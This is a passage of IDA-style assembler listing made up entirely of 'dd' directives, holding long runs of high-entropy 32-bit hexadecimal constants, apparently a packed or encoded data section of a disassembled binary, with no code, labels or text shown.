		dd 66933CCDh, 6A90240h,	0D180FE4Ch, 80B86584h, 0BD7A750h
		dd 0DD03E701h, 7B93F2B1h, 459CC715h, 2FC4177Eh,	93B232Ch
		dd 0B8E894D9h, 0BE00592Bh, 441B8F61h, 4878D0F3h, 4007D28h
		dd 825786F6h, 0B604AAB1h, 8C5FC0BAh, 2788E08Fh,	0ACAFCC0h
		dd 3E72F6B0h, 0C0D06208h, 0DADE0EACh, 8782AFA6h, 1478369Ch
		dd 0F4DB38B1h, 0D35AB660h, 0A5CBFE3Fh, 25EC043Dh, 0CC052B40h
		dd 0D13A1B6Fh, 0CD5C9D8Fh, 1DE46600h, 0A1A8BBB7h, 8C3278D8h
		dd 43C0F8F7h, 4B7EE0Ah,	7A886F83h, 0EE80C6D2h, 3F84F49Eh
		dd 6892430Eh, 244E30CAh, 10DCAD11h, 81825288h, 0C0BA2466h
		dd 9351754h, 68648E36h,	5FA10080h, 0C8BCAF5Ah, 4DA46086h
		dd 1F8C0039h, 6D352CA7h, 645AAFC9h, 0B9409810h,	0E3D230FAh
		dd 0CADB7F00h, 0B1D97352h, 3A104E4Eh, 4B601068h, 0FC33CC0h
		dd 0C001D9DDh, 0C94E3BCEh, 4DD31FBh, 0B09AA0A7h, 57445467h
		dd 50C65062h, 12C0B500h, 49CCC554h, 0F77E07B7h,	0A28FDCA6h
		dd 0BA03FD6Dh, 0DA4FC1A8h, 0A010F614h, 201071B3h, 9125B25h
		dd 0D02F1517h, 8B392323h, 7DB3F289h, 8FAD8400h,	730F072h
		dd 64655846h, 7FFB2D2Ch, 0FE04388Eh, 97009202h,	0B20698DAh
		dd 7206F8B6h, 0C3D8E7D0h, 8B30CB5Ch, 5612D847h,	0A4CE04C4h
		dd 304E2784h, 0A4E58516h, 249EFC88h, 3F696h, 4F069193h
		dd 677A3066h, 9B3D5C01h, 383CCBF2h, 0EC01B872h,	0BC8FDED9h
		dd 72003123h, 317DF2DCh, 0E664F8D5h, 0C2DB8E1Ch, 64D7D84Bh
		dd 2E784E04h, 2A2344h, 9B768CEFh, 0B70EB289h, 0C7976FA2h
		dd 699018DCh, 0C047BA60h, 6DC1DF31h, 76305B2Dh,	0CBE499EFh
		dd 22205B28h, 0ACA00D04h, 0F2926466h, 543B3C4Bh, 31027523h
		dd 8143B060h, 6AEC8740h, 3C41E869h, 4A8C7800h, 92760139h
		dd 0FC5DDBB2h, 0CED8541Eh, 0C02388E8h, 98249EB3h, 0A6872901h
		dd 39C711D3h, 594B3C52h, 1852F134h, 5E020512h, 0B050AFF0h
		dd 0C28840B8h, 418D0022h, 0C6EC16AEh, 504A29C4h, 0C961A080h
		dd 0ED140FFDh, 25A9F121h, 3FFA08C3h, 56485412h,	0C008F46h
		dd 88D8018Bh, 0FE5C0A92h, 709C80CCh, 1C5DD06h, 4BEFCDA1h
		dd 384A5B78h, 97709914h, 608AD18h, 71A0FE60h, 47E920A4h
		dd 0FF601D00h, 540EE79Dh, 74BBF2ECh, 0CCEB3D63h, 0B0455FA5h
		dd 526088E4h, 93FC65CFh, 0CD196160h, 3C60C518h,	0E9800A9Eh
		dd 29707E0Ch, 0FC2D5C57h, 119C823Eh, 2CE5D8D6h,	0DECC3F01h
		dd 30F601Ch, 40C8B9D6h,	58B0495Fh, 5E331300h, 7DD5A66Ch
		dd 55287009h, 0EB58A73Dh, 361AE5C1h, 2C38D4D5h,	0F8C14BCh
		dd 0DA110320h, 211A89A2h, 0DC6107C0h, 784F2EF0h, 2D23AC2Eh
		dd 0F6C3DA1Ch, 0F1099BDEh, 412BB660h, 0B9895C20h, 0A844EE24h
		dd 98D8C32Ch, 872A730Eh, 89C947D0h, 2190E4C0h, 6981C4CBh
		dd 58DC5C24h, 7C817063h, 3CF32461h, 8BB18004h, 976083h
		dd 0BFD0225Fh, 0A1B3C126h, 0A66BE30Eh, 44AD2B19h, 70F0919Ch
		dd 864B6Fh, 0AC2CA233h,	2EAE77B5h, 0FC30D773h, 377281F2h
		dd 541B0063h, 0D01789D5h, 24B65D49h, 61465Ch, 71FB2526h
		dd 7403B7D9h, 0A5200F8h, 6DB842FFh, 30205E4Fh, 0FD0C004Eh
		dd 61947E92h, 48758A8Ch, 0F4DB4600h, 8FB6D7E5h,	0A16A0A2Ah
		dd 809C54DEh, 0E12CFC4Ah, 4B004F12h, 58056303h,	427D79Ah
		dd 0BBF03335h, 0C8D88BCDh, 29C2CE8Bh, 2CF04B36h, 7F474BEh
		dd 0CDF0C808h, 4C1890ABh, 47887E97h, 16E13D7Ch,	0C4D37781h
		dd 2DD92CB1h, 107004D4h, 9013FC1h, 86127D1h, 2E34367h
		dd 7268C8B2h, 0EC67C3h,	77C9CA36h, 720166D9h, 7CF7C8C2h
		dd 78409201h, 0CDCEEBh,	98FAA51Dh, 8B92AF0h, 708B3D00h
		dd 0F791162h, 6C9128Fh,	0E08CF63Fh, 1D163907h, 1D34838h
		dd 0E918B213h, 0BC4C78C7h, 29008C60h, 0D7775FE8h, 0EE27C33Bh
		dd 5FD87DBFh, 0E2F8348Dh, 4E38B1E8h, 680CB50Ch,	4866C7B2h
		dd 2CB63B03h, 9464B894h, 67FAD204h, 8000A843h, 2707FDD9h
		dd 0F2B00FB1h, 37CC287Dh, 0F52AB20h, 2A7000D0h,	0B3A30A44h
		dd 0C8E50FF6h, 1481C160h, 4B7FD568h, 0C02AC8A8h, 0CB0D37DDh
		dd 0D2BAC902h, 407374F8h, 0B6C52CD0h, 3E3962F8h, 517F5402h
		dd 60F473B8h, 18D0C4EEh, 192BB160h, 61CE39E6h, 70BC2055h
		dd 31F1DBh, 18FF1BEBh, 0DD41087Bh, 334E2500h, 57970407h
		dd 69380123h, 775AD48Ch, 84092B52h, 0C4A4C5DFh,	0FE0C608Ah
		dd 8060BCCFh, 4D578BC7h, 0FB25DDECh, 6B948FCAh,	653CC263h
		dd 4E27E22Ch, 1FBAC718h, 0CC7BB5F3h, 92F1437Ah,	7900DC91h
		dd 3132E503h, 2C1409F8h, 0D423F20Bh, 990049D3h,	0FB26B486h
		dd 6DE8B5h, 8E384B4Eh, 3A0C40AFh, 8C173B79h, 348E101Eh
		dd 58C72188h, 0B0AB406Eh, 0E66FA664h, 10B6384Ch, 36FEDC0Ch
		dd 0F22FBDD1h, 50141909h, 0A0EFDD10h, 5E6C30F5h, 20901555h
		dd 8304FDCCh, 6D9BA8B3h, 17708480h, 0B899D1h, 0E7C74FAAh
		dd 24006880h, 0E846A790h, 0B06926Eh, 71D00BDEh,	0A68DCC63h
		dd 1E9AB028h, 1CC00FAh,	4BC1387Dh, 0BE0CA727h, 908783D8h
		dd 97B5F84Ch, 3DEE5C20h, 0DD7F22C5h, 0E440EC5Eh, 314A63FCh
		dd 0BF8B7474h, 3ED09308h, 392C42A0h, 2C4174C1h,	21A8EBFBh
		dd 0D9E8164Dh, 206CC93Dh, 344041C4h, 0DFD810B3h, 54755A80h
		dd 38B128A2h, 4AEB0C4Eh, 0C8008BACh, 4CB3C053h,	0FA74553Bh
		dd 0CB104Fh, 0E0C13B88h, 8C62CCC0h, 153088F2h, 3ACA049Dh
		dd 0B8F60AD2h, 8BD052Ch, 8C00948Ah, 0B6DDD611h,	0B1DB0B38h
		dd 0ECC89DFDh, 3B07D508h, 547F8401h, 67122D01h,	4D4E8E4h
		dd 0ADB1DC79h, 0BC68FC8Bh, 0D4018C24h, 5AB28919h, 106C7976h
		dd 0E3A5C84h, 0BE82FF54h, 917837D0h, 14F3BDECh,	88CD4BC1h
		dd 0F68C7DE8h, 0FB460F79h, 0F921BB3Ah, 503D4C55h, 4FD80AF4h
		dd 0F7156001h, 0FBFE8769h, 2D88D84Eh, 4B58C2C0h, 0B9D503D7h
		dd 84540122h, 0C7F8DE90h, 382EC896h, 3B2D465Ch,	4B74000Fh
		dd 66B0204Ah, 73F53EC9h, 0DCA0502Ch, 5CDFDD18h,	0A6F861h
		dd 539E85D6h, 73D371C4h, 56E7F012h, 0BBB0A442h,	0B2900598h
		dd 0B75C0484h, 8B2C48Ch, 643063F2h, 3DF3B01h, 46DFE92h
		dd 13BE250h, 0E077D8ABh, 8C68023Eh, 0D07C2CCFh,	0A7899B1Eh
		dd 4444C9DEh, 2F17DE8h,	0BEB36956h, 0FCED2BF9h,	222A0BE0h
		dd 0B446049Ch, 0C112B75Fh, 10C9C63Ch, 98CCEC11h, 0DADF4B00h
		dd 31ABC0C0h, 521F069Eh, 2A00C45Eh, 0B5E7F480h,	0B400CC53h
		dd 74A36CD7h, 0B8460558h, 518D2D09h, 98C4FC8Fh,	2D8491DAh
		dd 0DB5005Ah, 0F9A169F6h
		dd 8EE47465h, 0D8848A61h, 77096834h, 489E28Bh, 0EC842D1Dh
		dd 8F332CC1h, 0CA006429h, 4D325271h, 4C5BA14Ah,	0EF568002h
		dd 13507454h, 4BBCE6DAh, 7C23F42Bh, 717B4200h, 1A6BCCAh
		dd 10DDAB5Bh, 3AFB4B3Ch, 8B237C2Fh, 90B3EB02h, 69D47C4Ah
		dd 0CE0C1C37h, 12B0A73h, 0A0316518h, 3CEBDE5Ch,	4BE62544h
		dd 0DBD68888h, 12D45E3Ah, 0B018E634h, 6F2B20h, 0EC5369F4h
		dd 2CD53919h, 69CBD625h, 79851B1Ch, 0D0A4715Bh,	0E4A78620h
		dd 38909492h, 0A8B05604h, 44B3834Bh, 0CD302DB2h, 49A907CFh
		dd 90E92123h, 8BC3BF3h,	5727C577h, 91E89D0Bh, 0E20DC07Dh
		dd 203FB35h, 0EC8852F7h, 0E4F854BBh, 66E05805h,	8C417DB7h
		dd 5E101193h, 16E469FCh, 88D7A4CBh, 9FB564E8h, 4E2208A0h
		dd 0E17F0E62h, 46CCC89h, 18C88F8h, 5F08BA54h, 28D112F2h
		dd 0C0F10930h, 0CADC25ABh, 5FC7AC44h, 0C900BCF9h, 3BEEAFB2h
		dd 4177603h, 9892F912h,	5E5CD42Fh, 0BC007246h, 801A24ABh
		dd 0AC093F39h, 18BAAFBBh, 6E4A04h, 0A799DB23h, 502C26B6h
		dd 105EB090h, 2D23B82Eh, 805BB70Bh, 0F4D8634Dh,	0E1D11652h
		dd 0B268B6CDh, 424C7E3Fh, 34014DB2h, 0A8794854h, 2CE25027h
		dd 1FF44854h, 0D38636BBh, 0A150053Eh, 0A21000DEh, 0E5AFD387h
		dd 0A47A1000h, 1C4CDA60h, 625C00DBh, 0FE01BD70h, 17955A08h
		dd 802491BCh, 7447842h,	0DCB0B754h, 0E3811848h,	0B394406Fh
		dd 77E00EA2h, 50CDE400h, 6BA09D66h, 8FA3092h, 0F4C16038h
		dd 17579A27h, 4B14889Ch, 0E3D6D060h, 0EC235809h, 27CEF10h
		dd 7528C791h, 0D6647C1Dh, 9B33C502h, 0E064AF55h, 88C884E4h
		dd 5D4F4F81h, 0B03F1C6Bh, 0DDFABE80h, 3DB36FBh,	0C4DE5509h
		dd 1694F21Ch, 4B2BD8B3h, 0A8689250h, 0B500B7A9h, 3373F779h
		dd 3A16D377h, 0C989658Eh, 87189DEh, 0E8188B79h,	978913Ah
		dd 0F15E7B97h, 1861717Ch, 2A020104h, 0DFCE165Fh, 0F07EE67Fh
		dd 3700D917h, 1311C827h, 79636092h, 2CE0C597h, 8300FA90h
		dd 57D3DEBh, 9CDFF5C0h,	0C864805Ch, 95312B1Eh, 17DE0101h
		dd 2DB4610Fh, 0E6D08E4h, 9D3D8B5Fh, 0C8594F25h,	9000113Ch
		dd 96825048h, 0DB0B52h,	4D8DE061h, 0AE7C5ABAh, 0B4FCC500h
		dd 49706FA1h, 0DDD61656h, 101CA3F8h, 0CA0567F3h, 0A147CBFAh
		dd 30652F7Ch, 2723242Eh, 6107FE01h, 40CE7AF3h, 0B54FF274h
		dd 7D7D1019h, 4D0AC64h,	0ED2873F0h, 5CC40458h, 954F4140h
		dd 0C90B7422h, 82773950h, 25305B0h, 0B44241A9h,	61422C67h
		dd 62D9184Bh, 58C01C01h, 0B8863C5Bh, 45134C6Ch,	0F238B259h
		dd 32FF3028h, 3D119B00h, 0BD7EE7E1h, 67862D08h,	65AC8018h
		dd 2112C880h, 0CD965E7Dh, 0DB184F6h, 0A06CE02Bh, 0B0BEA31Ch
		dd 8DDC61EDh, 0B85D6432h, 4DE6D1B8h, 8A817401h,	2A7087FFh
		dd 23282F6Ah, 9A460063h, 0B3DCA9Fh, 4D7FC0E2h, 0EC166F5Eh
		dd 8025F4F0h, 0E52635DBh, 1DCE012h, 5EAEED7Eh, 50148644h
		dd 0DED48CE4h, 97CEC52Dh, 806E918Ch, 3B52666Dh,	0BCB801BBh
		dd 0C62C49D1h, 85606C8Ch, 0A85ED3h, 9428DAA5h, 0CAAB001Fh
		dd 0E2D209ACh, 5857606Fh, 3A70635Ch, 0F07A2F19h, 0EC4892F1h
		dd 364530BBh, 4864E6F2h, 784B2477h, 239F5CCBh, 0EB50E800h
		dd 5ADBE734h, 69D089DDh, 51123004h, 0B6820A05h,	0ED110FE8h
		dd 0A95E5B45h, 3959180Ch, 698439h, 0F130E5Ah, 0B0AE911h
		dd 0F4BB353Ch, 0ADB37A16h, 4AF908C8h, 80B0DE57h, 102CDEC3h
		dd 88990C18h, 0DBEA14ECh, 44984A5Ah, 4224433Ch,	3021A234h
		dd 10EC8198h, 0BCC468E1h, 0BD038C24h, 5403DE6Fh, 2FF1094Ah
		dd 0F4501B92h, 32BC3912h, 2DE234E3h, 0AA7330h, 5096AC49h
		dd 1EFE0FE0h, 0E49E515Eh, 12D3EF81h, 0BD01EA61h, 947D150Dh
		dd 1F0740ACh, 0E7706993h, 0C1835912h, 0FE6138A2h, 0DC026C68h
		dd 76033C28h, 7C806C5Eh, 0B14348EDh, 0B4D874B0h, 88721F30h
		dd 0AB1E296Bh, 983AEC53h, 0C7128A23h, 68D8F70Bh, 0FDB4F58h
		dd 0D6691FB1h, 0C4AD5BC1h, 2C3AB7h, 804DE6FAh, 927C0933h
		dd 788D20D6h, 63A23423h, 5759B30h, 38FFE9F9h, 0A64C03FDh
		dd 0C1F8D5E3h, 0EE16EAC0h, 0BCD02B2Dh, 4A7A0A52h, 3C649D66h
		dd 8C21AC84h, 3709EEE4h, 1712DB0Ah, 8E219114h, 0DE69C215h
		dd 6F286858h, 0E1E400AAh, 0DC7E8AF4h, 711D1EFCh, 0E59268BEh
		dd 4FBD0C91h, 4001F860h, 0C01C93Bh, 406608E0h, 2C6854EEh
		dd 0FCB3FE04h, 84871E21h, 3313B06Fh, 92F01556h,	0B500EC74h
		dd 3678A8D5h, 0CD0F219Dh, 0FE527318h, 4916ED07h, 0E2C0452Bh
		dd 53184B61h, 9FE16DFh,	0F120A26Eh, 730C4E22h, 108C6125h
		dd 48278F18h, 25007452h, 616F48B7h, 0CB8D9DDh, 0ACC8C12Ah
		dd 5CEF8401h, 25F9DC64h, 0E525180h, 19BFB254h, 22D68AECh
		dd 1466B8B0h, 1408D6DCh, 0D7380B00h, 8EE3B131h,	91449D9Fh
		dd 102E800Eh, 3ECC356Dh, 9C837887h, 0F2AE4C70h,	175D682Fh
		dd 4B6D08D0h, 195E4D60h, 3BD6EEC6h, 93DF219Ah, 46E1D3F8h
		dd 0C653E8ACh, 0FD0B4300h, 0D86DD6BEh, 0F7ED02C4h, 242087DEh
		dd 374C1060h, 0D0A059D7h, 0FD0727BCh, 8E448867h, 34C1C860h
		dd 0B0ADF550h, 30C20824h, 0E1407E44h, 0AC3B05BBh, 5E06E00Fh
		dd 0CCF013F8h, 7FB22F35h, 0D95FEC80h, 121EECCAh, 0DA4055A1h
		dd 5A08BFE6h, 0F6C4AA86h, 634674E4h, 2F24200h, 0DF3E4FEDh
		dd 34CCFC2Eh, 5574676h,	0C0EE26A4h, 0B31658FDh,	3A4217CEh
		dd 0E48C7BDCh, 138E03F9h, 574FB0B3h, 0C085E84Fh, 0C9B89CADh
		dd 282FD00h, 5CEC5A8Dh,	4C90277Bh, 0A970EC07h, 28823C0Eh
		dd 0B8642269h, 0DE0B2C17h, 3CB99CC5h, 860FD7B8h, 0A0A43C48h
		dd 0C292F104h, 0F05E027Ah, 7BFE15EBh, 0BC7BA0F1h, 0A8E72960h
		dd 0E2D48097h, 623F26B5h, 4951C017h, 33C10900h,	7638927Dh
		dd 28659559h, 0F907FB85h, 0C60A64C1h, 0B2602C6Fh, 1DCA6425h
		dd 804C9140h, 5FDE063h,	194560C7h, 0F4125E81h, 251640FCh
		dd 0DC0294E3h, 814CF80Eh, 77EBA8F7h, 0EC04B8BEh, 0A45C5435h
		dd 0EF127E4Ch, 78E8F1E8h, 0B144205Ah, 1E0313BFh, 1DE4B7DBh
		dd 0D85EEADCh, 2CCD2024h, 62705C00h, 813D0888h,	0E0406FDAh
		dd 5CB4B412h, 0F15FEC0Bh, 68140436h, 41F65E0Fh,	63A8B3CCh
		dd 0F8B40066h, 0B33E4A26h, 0F0E44614h, 164C48F2h, 18CBEC94h
		dd 5FED8D1h, 0DCB4B0BAh, 3022465Eh, 0DCBF8EA8h,	83EC12D1h
		dd 0FCACA0C4h, 0C757716h, 3DE234CCh, 9E5AE4EBh,	0A29F8EF4h
		dd 0C80CBC86h, 4094EBACh, 0B600C6D3h, 0D218FC5Eh, 4A4469D6h
		dd 0C8808E2Ch, 1898C053h, 0D5167140h, 0A488775Ah, 21C020B3h
		dd 0EE88DEECh, 27393D0Fh, 0B7DA9000h, 0ED30D14h, 21ED6909h
		dd 58B07B78h, 0A64FBB06h, 87A7D800h, 9583C10Bh,	0FDAC24C3h
		dd 9FDC2D74h, 808911E0h, 0F7072CE7h, 165D7C35h,	3E8DB7D1h
		dd 3B23B4h, 56B75F42h, 0ED2FDC9Dh, 0C43C2033h, 252CE31Bh
		dd 38B512DEh, 2DD51787h, 0D8C4DE20h, 7D1A02B7h,	0CB0AD382h
		dd 0D037F0A9h, 65A2A300h, 94E59971h, 686B8F54h,	5E3B33E3h
		dd 83205C98h, 2C58D328h, 9AE38105h, 8480E0F6h, 5B64598h
		dd 14DC326h, 446B3Fh, 0E6802861h, 3AFCDE5Ah, 75A45B58h
		dd 54A36738h, 0C0E70F23h, 77C136B1h, 6AD4A173h,	2B08C92Ah
		dd 8C001C6Ah, 4BD476F5h, 0B702ED2Ah, 0EC36F03h,	95B87850h
		dd 73403CCFh, 38D7D95Bh, 40092024h, 60C8C486h, 0DF50E5C9h
		dd 46F61944h, 0EB00E276h
		dd 153AFE74h, 71B15F7Fh, 898727B0h, 0DCFE9CE4h,	8E0939C0h
		dd 4B73DBh, 78105370h, 9BD1ACBEh, 740B6D5Bh, 58C453CDh
		dd 17D4A9Eh, 0A82A6807h, 4C72240Bh, 76707E8Bh, 894E3821h
		dd 2010DFDBh, 1839904Ah, 0CD3380E0h, 4E1C1EBFh,	0B86017C0h
		dd 3410C8A7h, 7300E878h, 0A54F42Ch, 1CB1EFA2h, 4B8DD8C6h
		dd 67058261h, 0B060A65Eh, 23781FEh, 5A835697h, 0D4FC6F84h
		dd 0A55C7B69h, 0B505C73h, 0EFD80A0Dh, 2DF811A8h, 57642047h
		dd 87DF2D60h, 10C3AC5Eh, 5E7F8A5Bh, 2600D664h, 0A56B3236h
		dd 0FA53A13Dh, 8DE82F0Bh, 2091409Dh, 0AEDBE980h, 0C1016CF9h
		dd 0EFDE16C4h, 0A8A5388Ch, 0D44ADC5Ah, 7948B5h,	0AA1410ACh
		dd 2880DE8Ch, 0F4AAA412h, 6370D873h, 0C1AE0F4Dh, 0C360610Ah
		dd 0C2BCAFEDh, 1E78D17Ch, 0AB958C18h, 33B411h, 273FED1Ah
		dd 0F1771C5h, 21CC08CCh, 1BF81CFBh, 0B783C1C7h,	209031D3h
		dd 0C8069EA9h, 0C191B343h, 6C940328h, 0BD4E2D3Eh, 648A72B0h
		dd 9EB0E800h, 0D4DA0CBh, 0C2DA409Bh, 69EEF100h,	0C8EA4023h
		dd 0F0A701CEh, 8D39CAAFh, 0E66DE08Bh, 4F974C00h, 84EB141Ah
		dd 342000BFh, 0BD0592DCh, 0D8BF3155h, 6AD8381Ah, 3E8500Eh
		dd 58200218h, 8906C372h, 81042444h, 21176009h, 84C35040h
		dd 0E00B3203h, 939D0953h, 5E501018h, 0E522358h,	8944C35Ah
		dd 20196254h, 0B2C35242h, 0C0776C00h, 0F28BE04Dh, 0F9CC1FCh
		dd 0B2016588h, 30565828h, 89E4C35Eh, 1D227446h,	0C3564600h
		dd 9998BA1Eh, 15776B5h,	8BE56F4Ch, 0C207B9FAh, 8314111Fh
		dd 708B0F9Dh, 83F9149Bh, 19BC26C1h, 47A5078Ch, 42DE7DD4h
		dd 0C942B58Bh, 0BE66A700h, 3B06DC09h, 0E0860FD9h, 0E7810F37h
		dd 40A36803h, 2EFD8C66h, 16233Ch, 0F72EFECh, 19C1068Ah
		dd 2C19B52Bh, 0BD097E87h, 0F60C3C71h, 0F04C105h, 9B329684h
		dd 0C35B3053h, 5C4689E4h, 43001822h, 1467C353h,	0C23A9A8h
		dd 2AC595FFh, 9D18895Eh, 5B0C1B35h, 0B1BD128Bh,	0C3504F02h
		dd 20AD8DE3h, 343D100Dh, 88035008h, 618D5350h, 0FF301AA2h
		dd 2D7106E0h, 76EF273Ah, 35318120h, 3A5B2BE9h, 1B2366h
		dd 3CE9B009h, 0D5EAC5AAh, 29C08B03h, 7825A585h,	0C37A60h
		dd 0E638BFD8h, 0BE83A80h, 7A7743C0h, 720F70B0h,	5C08019Ch
		dd 81664DAFh, 5E45C8C7h, 50EF85E8h, 841D77D2h, 51A891E7h
		dd 22C35987h, 819C4C89h, 0C3514101h, 58401E43h,	0C1D60F4h
		dd 3209B523h, 2AA5C0A3h, 0E0671CC4h, 9DDF8717h,	0BF86D301h
		dd 0B589F85Eh, 5A8F1AFDh, 16CCBD81h, 0C292D00Ch, 35850F12h
		dd 1823C73Fh, 698F4C00h, 2466BA17h, 8A3F18Bh, 0FF0A06C9h
		dd 0F3203985h, 1930B932h, 0EF8110B5h, 54E34C09h, 154D0240h
		dd 99852110h, 23900307h, 5F0E579Ch, 7C8944C3h, 47201562h
		dd 4C6BC357h, 0D51092DAh, 0BF661E0Eh, 5B3ACDD2h, 32011523h
		dd 65950918h, 2C0EA855h, 13B701Dh, 2B0DA130h, 1B54DDBDh
		dd 2383317Bh, 5D0E5576h, 6C8944C3h, 4500698Eh, 0D74FC355h
		dd 300253C6h, 564D4A01h, 841C6360h, 0B09E946h, 0DD01AD16h
		dd 2A9ECC00h, 1C8B4AA0h, 686160D9h, 0C9BD7295h,	0C190E8BBh
		dd 440F7C2Ah, 42D4C118h, 405FF88Bh, 53F0EE79h, 1CA2BB94h
		dd 3D5C30h, 786CCD7Dh, 3188FDFCh, 0C1D5BD24h, 10E9F589h
		dd 36B94B9h, 10DEDC17h,	1E19956h, 0F1212093h, 0FED92B41h
		dd 1E39A241h, 4011A848h, 241CE90Bh, 0B273FFF7h,	0BF29D8C6h
		dd 13767570h, 6FC18B49h, 55780022h, 34E5628Bh, 952EC3C5h
		dd 741413F9h, 99BD04EBh, 0A99279D6h, 0ED070451h, 0F85F0328h
		dd 2929C78Dh, 80A0B709h, 45750647h, 1081B0Fh, 2063FA03h
		dd 126891E5h, 0F8BB0590h, 2E598150h, 0A082E66Fh, 3D800855h
		dd 1E099501h, 2F4708A2h, 0DC601D44h, 5DF4503Ah,	3D762171h
		dd 4E40661h, 0C80EEE3Ch, 2167C215h, 9896841h, 40060C91h
		dd 2A4091BDh, 48F5B061h, 900C21C0h, 10250FE8h, 0A56B1207h
		dd 2DA0671Bh, 0A3DFC38h, 94ED015Dh, 505F898Fh, 0F904E80h
		dd 6A58F3B7h, 8C1DECA3h, 17633900h, 71A287C4h, 0E44B24FFh
		dd 23850A4Ah, 0F5041B0h, 722C4680h, 6E5FF626h, 8D27E918h
		dd 76D8E29Dh, 0D1B291EDh, 0F82D1814h, 28DFF8F6h, 0B19402B4h
		dd 0D3FF021Eh, 90908C0Fh, 0BC10AE9h, 901FEAF1h,	134BFBC4h
		dd 45D3BB0h, 151C49D1h,	613E05FCh, 0F6926CE9h, 5DCC91E8h
		dd 0AA0EEDFCh, 0E9CF40F7h, 612CB316h, 73018E86h, 3015E258h
		dd 330906D2h, 21012DB5h, 1E719DFDh, 1CE2A533h, 1D3E0A30h
		dd 12B8434h, 8148616Bh,	7301C1E3h, 301CE238h, 8D012708h
		dd 0ADA1CF05h, 0BF204CDCh, 0B0E40C1h, 22B1DB58h, 8E8958A8h
		dd 93BD83C1h, 7A7443Ah,	85D8498h, 465CD04Ah, 0F1290119h
		dd 1458D0E6h, 52196990h, 0E9F38246h, 91359D92h,	0E090811Bh
		dd 0C9F4DF98h, 0BBEF20Bh, 289F6F92h, 2E6A9088h,	5BE98DD0h
		dd 0F1BB360Bh, 0C57F76B2h, 8188C4D7h, 411E17Fh,	6A0A3827h
		dd 2C144676h, 5508DB85h, 0FDB58425h, 188D090Ch,	3923813Ch
		dd 9173FEFFh, 1815D142h, 90F8FA46h, 75DE71B5h, 0DB8C3124h
		dd 12E3D70h, 0F828C3F6h, 851F9225h, 578E1711h, 60F78062h
		dd 0A7000166h, 6D9920D1h, 7310AE6Bh, 20AC9086h,	614B0829h
		dd 896F0E35h, 3CA4E300h, 0D02ADD7h, 504F8106h, 2511E9h
		dd 0A5B69B70h, 0C5B3F6B8h, 8E6F2F00h, 851BD380h, 896C03BEh
		dd 0CE82404h, 558D3300h, 0B8A7E6CEh, 60060E48h,	29C7502Fh
		dd 5A1DB95h, 0A8B4E95Eh, 7D207EA9h, 3FB04C0Dh, 128C14ECh
		dd 470E695h, 50C013Ch, 268071E4h, 30D8B60Fh, 43113E9h
		dd 37002B4Bh, 176883D0h, 70694B3h, 0B07C96F4h, 69740182h
		dd 486A62BAh, 8C18E8F8h, 0CC1B6C1Fh, 0E18BD1CEh, 16F19D89h
		dd 0F2E8C101h, 240BB50h, 0E2F73166h, 3C1CED12h,	0B8E7D036h
		dd 0DF008C15h, 8BF664Bh, 0E2605088h, 95A4E8h, 5A241A04h
		dd 3F5CB8DBh, 3A638600h, 56FB4DBDh, 0F35B0522h,	805F08F1h
		dd 5A5361BEh, 1C2E89E6h, 24DE1724h, 59EB9B7h, 4A47EEFh
		dd 0B73159F5h, 0D7226129h, 282C57F7h, 3BBC04D5h, 0ECC1B048h
		dd 0C0F98C1Dh, 26008366h, 321C6575h, 59BD0953h,	31510161h
		dd 0EAC04B1Ah, 10E8FE8Bh, 5D6417C0h, 0BA06E2h, 0FFCD0E30h
		dd 0B94945B7h, 99E6D816h, 2A3DD704h, 65085F09h,	1C465C3Ch
		dd 0AC2D3B0Eh, 0A88A3D81h, 870FCCCFh, 45700E4Bh, 193F55h
		dd 83679FC0h, 613CE631h, 0E1590F76h, 0BF24760Ch, 0B7A5A6F9h
		dd 34200077h, 952AD556h, 0F7A0ED08h, 1D9D0853h,	880F5E04h
		dd 2560BB89h, 4C024135h, 0A790F5C6h, 1B448687h,	6BD22260h
		dd 38A3E505h, 0BAC7C462h, 2499A808h, 0BECE7422h, 1B028D98h
		dd 0D092F98Bh, 0D2DF8102h, 9657A50h, 8AD23628h,	40ABE958h
		dd 9962B7D6h, 244BBF00h, 220A5CF5h, 0F9B2D47h, 4236D424h
		dd 4A219D29h, 26B37989h, 1DE50999h, 14A95AC8h, 599C7882h
		dd 3C3E47FCh, 0E7745DAh, 88D98F01h, 0EDB8C01Ch,	847D6F05h
		dd 0BDDA4907h, 7C109ABFh, 5985311Ah, 114FDF2Dh,	0EFAC32A0h
		dd 943AA807h, 87D2084Fh, 0ED72408Ah, 0C49AB42Eh, 19DA359Bh
		dd 0E4CBF080h, 113BDE3Fh, 9057ACE6h, 0B8B65BC5h, 0C22C17E0h
		dd 37D00B01h, 11A98D09h, 6E4AB969h, 89100207h, 0D12DF595h
		dd 561A44D5h, 0E9F7FE02h, 80C52F20h, 8E06040Ch,	1C055306h
		dd 46A52EE9h, 0A6E85F47h
		dd 15F50B3Ch, 660BA546h, 981788BEh, 0E688F33h, 0D91DF463h
		dd 67455D22h, 6CE1D5E1h, 3F950425h, 0FC8E55A2h,	5CCB1888h
		dd 30F80C7Eh, 0C5A19AAh, 0F7B69B34h, 0FE0F62A0h, 0D223AD05h
		dd 93A341C2h, 0E99244C8h, 5BE6ADD0h, 22800037h,	0D1195ED5h
		dd 0AE0BCBA2h, 46A784B0h, 0D177997Eh, 0FB181Ch,	82CDE301h
		dd 0F692B4BBh, 140BD490h, 32741C07h, 0E0A14D79h, 916E136Bh
		dd 4514ADE0h, 22F60BB7h, 66600409h, 0C06DC5BBh,	361C3D6h
		dd 1141ADB8h, 90AAD36h,	92C46D9Dh, 23E83A90h, 0E7A31414h
		dd 4510A527h, 3D4E84CFh, 3469F420h, 4D6800E9h, 66C229F8h
		dd 780FA87Dh, 5E827E88h, 5FFB8B04h, 1488038Eh, 0C0C36FC4h
		dd 0F219EC91h, 0F2C626F7h, 713C6287h, 32F58A61h, 90FB142Bh
		dd 7F8C19E8h, 4DD2010Eh, 9D31E3EAh, 31F62561h, 3B91396Ch
		dd 6175380Bh, 8F0FFC0Ch, 0BF85AA3Ch, 0BCA2FAh, 38F3F449h
		dd 8F659D2h, 9B6F2262h,	0CF010D09h, 345340B1h, 3002C2DBh
		dd 6735B366h, 52E4E9h, 7DCF91B7h, 9F4124D7h, 83BDFE3Fh
		dd 2BAE847h, 0D0C6B2E4h, 44BC87E7h, 5FCA6019h, 284CE6A8h
		dd 2FE7517Bh, 252217F1h, 5E052F1Dh, 3360C34Ah, 217465Ch
		dd 53C03D11h, 0FCF8C360h, 2E23B920h, 61D85CC0h,	0B4818D89h
		dd 1CCE3EFEh, 0D1FDA918h, 611818h, 63D40DA7h, 8D21FDB0h
